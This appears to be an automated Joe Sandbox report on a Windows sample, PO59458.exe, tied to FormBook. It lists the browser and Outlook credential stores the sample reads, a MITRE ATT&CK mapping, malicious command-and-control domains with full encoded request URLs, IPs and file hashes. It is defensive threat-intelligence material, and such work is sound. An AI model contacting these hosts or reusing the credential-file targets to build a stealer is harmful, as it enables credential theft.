Source: Yara match	File source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\raserver.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\raserver.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: PO59458.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: PO59458.exe	Binary or memory string: WIN_XP
Source: PO59458.exe	Binary or memory string: WIN_XPe
Source: PO59458.exe	Binary or memory string: WIN_VISTA
Source: PO59458.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.2150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004741BB
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	0_2_0046483C
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0047AD92 OleInitialize,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO59458.exe	39%	ReversingLabs	Win32.Trojan.Generic
PO59458.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
uky09q.vip	3.33.130.190	true	true	unknown
www.airrelax.fun	104.21.73.154	true	true	unknown
www.chrisflynn.click	3.131.150.69	true	true	unknown
www.webeuz.buzz	75.2.103.23	true	true	unknown
www.bdipjg.asia	78.141.202.204	true	true	unknown
wiretap.digital	3.33.130.190	true	true	unknown
www.cotxot.info	209.74.64.187	true	true	unknown
cptsdisme.info	3.33.130.190	true	true	unknown
www.online-dating28.xyz	199.59.243.227	true	true	unknown
www.yun08ps.top	47.238.157.253	true	false	unknown
www.energy-market.net	188.94.252.140	true	true	unknown
abuali-contracting.art	66.198.240.15	true	true	unknown
happyblacksheep.xyz	3.33.130.190	true	true	unknown
www.onlineblikje.online	213.249.67.10	true	true	unknown
www.notepad.mobi	199.59.243.227	true	true	unknown
jcblessings.shop	3.33.130.190	true	true	unknown
www.cptsdisme.info	unknown	unknown	true	unknown
www.abuali-contracting.art	unknown	unknown	true	unknown
www.uky09q.vip	unknown	unknown	true	unknown
www.happyblacksheep.xyz	unknown	unknown	true	unknown
www.wiretap.digital	unknown	unknown	true	unknown
www.jcblessings.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.cptsdisme.info/trcp/	true	unknown
http://www.onlineblikje.online/mgmi/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89+Q9HWtEdC0uPPQ0EqtqMYT9SXBL4zQcJgu2aXGmMqdRF79v+yA2z9dUemD6ztacbQStu6Eafl8EkpMryg=&dX7=sns4Fhmpql	true	unknown
http://www.airrelax.fun/h8u2/?6v1=vr2ab8FMPsEkiu8K6sYiESJD6PZyfA8o0uxH3zipi2Nl7N6SwAU2trqX6+EyUEt1RJNxU6mfX1uWkDgrCUqdmsZzuUbFrv0xNqeacTwq7J8/lRZu9qsB1Iw=&dX7=sns4Fhmpql	true	unknown
http://www.bdipjg.asia/c3wv/?6v1=MeRYN0L9lvmsfuBVfJXwKI4otpUPbIkQuRQIC1j2X6eiJk3nQUhhohw7tTSD+TojEiP9+d6h1TS1cF8pCP5md9k0BFqQNorbrV7j46WWE8JNFz9VDX2D0pc=&dX7=sns4Fhmpql	true	unknown
http://www.wiretap.digital/eytd/?6v1=HfH3fAnfKZGF/amZMLxCjpfWCoile0ydxd3oAy6RYTP1PcCmQRMTgtKdHdRNZvI4e9+yTQ2W+3b/bCc+d8XewNEOJ/eayw6MMSxss8GOZI7n5HB8MD6QiAc=&dX7=sns4Fhmpql	true	unknown
http://www.uky09q.vip/5odm/	true	unknown
http://www.cotxot.info/fqdb/	true	unknown
http://www.chrisflynn.click/kn4j/	true	unknown
http://www.cptsdisme.info/trcp/?6v1=bKfAr7sv5IY1ptzmDV5wUo2iDSqe67rU75bfeenosgeuvdguL6fX86qCr0wAy4YR9tZZ5z54OoByFHZJe28aKbClFeJ1UE5LefnWbAwiEwjNEYmIQtqZ0uk=&dX7=sns4Fhmpql	true	unknown
http://www.jcblessings.shop/agok/?dX7=sns4Fhmpql&6v1=Ts5NbAkq3brUD6k3jTHyJ+UO8CieYDwmNk61ekvRrCQjvt17+TUO2Vz326ytVI14CQTLXaKHrat2tauAamf9k3ZiNLAZXRVdeSDhlCS5Bdnbn/cRfbAtsEM=	true	unknown
http://www.webeuz.buzz/okq4/	true	unknown
http://www.chrisflynn.click/kn4j/?6v1=vpCrMCAdfu65HIAf09CQR4tGFi3IrrdSSSqQznfgwOIFTGDRF6xAYU038HlDgieoMTBYH8MmEH7P6rywcgf5Sjq+nVZ5KqEIMUiYHuljCto3tYTrG+wqg/s=&dX7=sns4Fhmpql	true	unknown
http://www.cotxot.info/fqdb/?6v1=T34tz0P8PAskT6vIpcarzAarHDG1JHkC0CsiRe7uRjFzz28hmre5hzttCD4qXKBvMglrBCYw2+UNeo/6UDAZSc7i7BND3njplF8JWpgHbE1S/jexEjKON+w=&dX7=sns4Fhmpql	true	unknown
http://www.wiretap.digital/eytd/	true	unknown
http://www.abuali-contracting.art/2ryn/	true	unknown
http://www.happyblacksheep.xyz/3j78/?6v1=WGwtlgua1mFE8w70y2D40WjEmJ/2naD3+yS53ypxyLwYVAJFjddGfrPEgp8g5wfMnqQJPb28rx54q6h4cM7r9HJG6TCboJQlkTUiARap458Q2p/9rezvUuo=&dX7=sns4Fhmpql	true	unknown
http://www.notepad.mobi/42yt/?6v1=n1zukyJZNHWDLXKOvk85D7UZRdwlYZfhT0P9Gf17u78VFOCb/Y5WDzLXzQhRzDWO3THn0MOhhpVdUjSXqlWaNwXtG0/8roYrw0xdx31DJh2k57wX/K0pFIs=&dX7=sns4Fhmpql	true	unknown
http://www.uky09q.vip/5odm/?6v1=+4eRc86t7Z4Lu1vSo5s4ibVe9c8AVZg+6YEBK/5/ZFfdoS/+nWlR7TwfbXGowvaIyJWSRQjGhjbomPG8LKSdCCcZhRRaoLZ0okxxUHTaZ+JgWvWP13maiBg=&dX7=sns4Fhmpql	true	unknown
http://www.notepad.mobi/42yt/	true	unknown
http://www.airrelax.fun/h8u2/	true	unknown
http://www.bdipjg.asia/c3wv/	true	unknown
http://www.onlineblikje.online/mgmi/	true	unknown
http://www.webeuz.buzz/okq4/?dX7=sns4Fhmpql&6v1=2WxEQU4T/BL7ecebjCV6s19C2xUJUglk1Ap4rsCKgUGRI3XzxiL9bWjwEKWZc8F/Hodpf6FZ6O7fHzMchx0kX3zpeODOVW01uVkDQGLdyUNjyhRqakBgKzQ=	true	unknown
http://www.jcblessings.shop/agok/	true	unknown
http://www.energy-market.net/1c4z/	true	unknown
http://www.happyblacksheep.xyz/3j78/	true	unknown
http://www.online-dating28.xyz/j89h/?dX7=sns4Fhmpql&6v1=t39zGyvYmujPNlbc44MTbwagsnz+runAgyc0uTb+2KFfpU4FdXsWzq5grOKfcMMqBbgb86jYKVfh1bYb1KKDox1al7BagiI6ozFTdi6nFGMEe7mc+uR20u4=	true	unknown
http://www.abuali-contracting.art/2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU+Jll5yAiLW0FDFh5TQk8se9xDs41F6MnKw38IdfsNEr1xUCYc9892yoQG1SbMmVg8E+Wd0quaGmXjqthTWfwo=&dX7=sns4Fhmpql	true	unknown
http://www.energy-market.net/1c4z/?6v1=HOdUBM13o6qh/Put2qkCQWKcQS725qJuXwbhpRVTktrbAgiFAf3zM0waT5CdDpH3DywdT35OfcvI2v6miecF+h2Vz1+d56NK0tslEmN/v0UgevrB0PeN23Y=&dX7=sns4Fhmpql	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	false	unknown
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	false	unknown
https://duckduckgo.com/ac/?q=	4lQ1bg20.4.dr	false	unknown
https://securepubads.g.doubleclick.net/tag/js/gpt.js	raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	false	unknown
http://abuali-contracting.art/2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU	raserver.exe, 00000004.00000002.20110611182.0000000005CCE000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000003C5E000.00000004.00000001.00040000.00000000.sdmp	false	unknown
http://www.jcblessings.shop	mLKlRmqOwZ.exe, 00000005.00000002.20108805058.0000000001024000.00000040.80000000.00040000.00000000.sdmp	false	unknown
https://chrisflynn.click/kn4j/?6v1=vpCrMCAdfu65HIAf09CQR4tGFi3IrrdSSSqQznfgwOIFTGDRF6xAYU038HlDgieoM	mLKlRmqOwZ.exe, 00000005.00000002.20110221863.00000000048EE000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://onlineblikjes.nl/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89	raserver.exe, 00000004.00000002.20110611182.0000000005FF2000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000003F82000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://www.google.com	raserver.exe, 00000004.00000002.20110611182.0000000006C82000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20110611182.00000000054F4000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20112064652.00000000079E0000.00000004.00000800.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004C12000.00000004.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000003484000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.15806231999.000000003A164000.00000004.80000000.00040000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	4lQ1bg20.4.dr	false	unknown
https://www.ecosia.org/newtab/	raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://playchill.top/api/axgames/request?domain=$	raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://gamesfunny.top$	raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20112064652.00000000079E0000.00000004.00000800.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://code.jquery.com/jquery-3.5.1.min.js	raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20112064652.00000000079E0000.00000004.00000800.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://www.bdipjg.asia/c3wv/?6v1=MeRYN0L9lvmsfuBVfJXwKI4otpUPbIkQuRQIC1j2X6eiJk3nQUhhohw7tTSD	raserver.exe, 00000004.00000002.20110611182.000000000663A000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.00000000045CA000.00000004.00000001.00040000.00000000.sdmp	false	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://gemini.google.com/app?q=	raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
75.2.103.23	www.webeuz.buzz	United States	16509	AMAZON-02US	true
213.249.67.10	www.onlineblikje.online	Netherlands	42585	METAREGISTRARNL	true
209.74.64.187	www.cotxot.info	United States	31744	MULTIBAND-NEWHOPEUS	true
66.198.240.15	abuali-contracting.art	United States	55293	A2HOSTINGUS	true
199.59.243.227	www.online-dating28.xyz	United States	395082	BODIS-NJUS	true
104.21.73.154	www.airrelax.fun	United States	13335	CLOUDFLARENETUS	true
47.238.157.253	www.yun08ps.top	United States	20115	CHARTER-20115US	false
3.131.150.69	www.chrisflynn.click	United States	16509	AMAZON-02US	true
3.33.130.190	uky09q.vip	United States	8987	AMAZONEXPANSIONGB	true
78.141.202.204	www.bdipjg.asia	France	20473	AS-CHOOPAUS	true
188.94.252.140	www.energy-market.net	Germany	15817	MITTWALD-ASMittwaldCMServiceGmbHundCoKGDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529014
Start date and time:	2024-10-08 15:17:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	PO59458.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@16/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 36 Number of non-executed functions: 298
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded domains from analysis (whitelisted): www.bing.com
Execution Graph export aborted for target mLKlRmqOwZ.exe, PID 7836 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PO59458.exe

Simulations

Behavior and APIs

Time	Type	Description
09:20:42	API Interceptor	33437909x Sleep call for process: raserver.exe modified
15:19:06	Task Scheduler	Run new task: {459ACA1F-45B8-42C7-9210-407FB95BE9AF} path: .

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
209.74.64.187	FDA.exe	Get hash	malicious	FormBook	Browse	www.selectox.xyz/b26r/
66.198.240.15	2685D9E98F6A0216C28A3BC17B21849580FC37F9B351A.exe	Get hash	malicious	Fareit Pony	Browse	caitymccardell.com/wp-content/upd.php
199.59.243.227	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	www.online-dating28.xyz/xl8n/
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	www.pmjjewels.online/aygf/
	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	www.online-dating28.xyz/6nb6/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.polarmuseum.info/reui/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.donante-de-ovulos.biz/8lrv/
	https://pancake-swapp.github.io/	Get hash	malicious	HTMLPhisher	Browse	ww25.blockaircypher.com/_tr
	http://wiki.hostmaster.chinametrogroup.com/	Get hash	malicious	Unknown	Browse	wiki.hostmaster.chinametrogroup.com/_tr
	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.notepad.mobi/l4rw/
	http://music.farstream.org	Get hash	malicious	Unknown	Browse	music.farstream.org/_fd
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.polarmuseum.info/reui/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.online-dating28.xyz	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.online-dating28.xyz	SOA SIL TL382920.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
www.notepad.mobi	PO#001498.exe	Get hash	malicious	FormBook	Browse	199.59.243.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
METAREGISTRARNL	https://pt.surveymonkey.com/tr/v1/te/sye1khVpXMoAOA1o9dS7KswyeoXWRMc0CsiALAVvL9R1AEKLpDw_2FQ_2BjGpzqh9gEIleg14i6r7hX4PBEN8h0srmKEUKwP1mLRZLbUUusCb9ijP9SUb3shd8eAxCFYZdX_2BMEbjAe9Z41yfltVavABteyxJzvgHPE3p8pCRndVvaQ4_3D	Get hash	malicious	Unknown	Browse	213.249.67.13
	SaLY22oLht.exe	Get hash	malicious	Unknown	Browse	213.249.66.9
	https://plsdworkiqs.com/	Get hash	malicious	Unknown	Browse	213.249.67.40
	http://213.249.67.13/plesk-site-preview/chpostcrn.com/https/213.249.67.13/PostCH/	Get hash	malicious	Unknown	Browse	213.249.67.13
AMAZON-02US	Remittance_Raveis.htm	Get hash	malicious	Unknown	Browse	3.160.212.126
	https://support.squarespacrenewel.retroestyle.com/?DTYUI0=RTDM45	Get hash	malicious	Unknown	Browse	3.124.134.230
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	18.202.131.124
	FIR-069114.pdf	Get hash	malicious	HTMLPhisher	Browse	3.5.184.28
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.120
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.23
	na.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	file.exe	Get hash	malicious	Credential Flusher	Browse	52.222.236.80
	http://nbxvavlbbnks0ockyfxgnbxva.feedbackfusion.site/4nbXVA123415bxwz821wfgqkoqbno9030GRUYZVSMVMDWDTG236348/3210Y21	Get hash	malicious	Unknown	Browse	3.161.82.28
MULTIBAND-NEWHOPEUS	FDA.exe	Get hash	malicious	FormBook	Browse	209.74.64.187
	POPO00003964.exe	Get hash	malicious	FormBook	Browse	209.74.95.29
	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	209.74.95.29
	rInvoiceCM60916_xlx.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	NEW INVOICE.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	z1SupplyInvoiceCM60916_Doc.exe	Get hash	malicious	FormBook	Browse	209.74.64.190
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	209.74.95.29
	https://nassistenza-online.209-74-64-227.cprapid.com/	Get hash	malicious	Phisher	Browse	209.74.64.227
	rpedido-002297.exe	Get hash	malicious	FormBook, GuLoader	Browse	209.74.64.189

Process:	C:\Windows\SysWOW64\raserver.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	1.1142956103012707
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6kvjd:8t4n/9p/39J6hwNKRmqu+7VusEtrd
MD5:	E3F9717F45BF5FFD0A761794A10A5BB5
SHA1:	EBD823E350F725F29A7DE7971CD35D8C9A5616CC
SHA-256:	D79535761C01E8372CCEB75F382E912990929624EEA5D7093A5A566BAE069C70
SHA-512:	F12D2C7B70E898ABEFA35FEBBDC28D264FCA071D66106AC83F8FC58F40578387858F364C838E69FE8FC66645190E1CB2B4B63791DDF77955A1C376424611A85D
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Wauseon

Download File

Process:	C:\Users\user\Desktop\PO59458.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.996398534425793
Encrypted:	true
SSDEEP:	6144:okFDzrIJkC+60S05r4SUpekGv7otLSvrZifmyed1wCWUBw5luMQbXGpts1YdsicY:mP0SQbUDGzEL+sfWdJSTyWVd1
MD5:	986A0F5D6E8315A5D5D4BB4CB546AC22
SHA1:	16D461621D7E18AF9B99BED26AB7BD30F2D30CB2
SHA-256:	02964BCF3F419F8466A423D9F39800973516C6D60276ECCECB03F113C2EB7853
SHA-512:	AB43BCE653208EEBC2D542338DB7EB25105996AEDD45F1EAEBEE5EE9D6723560551E0592B28639BE0E65FDE6D622741C7177CE41D67946ECA6B79EEF6C211288
Malicious:	false
Reputation:	low
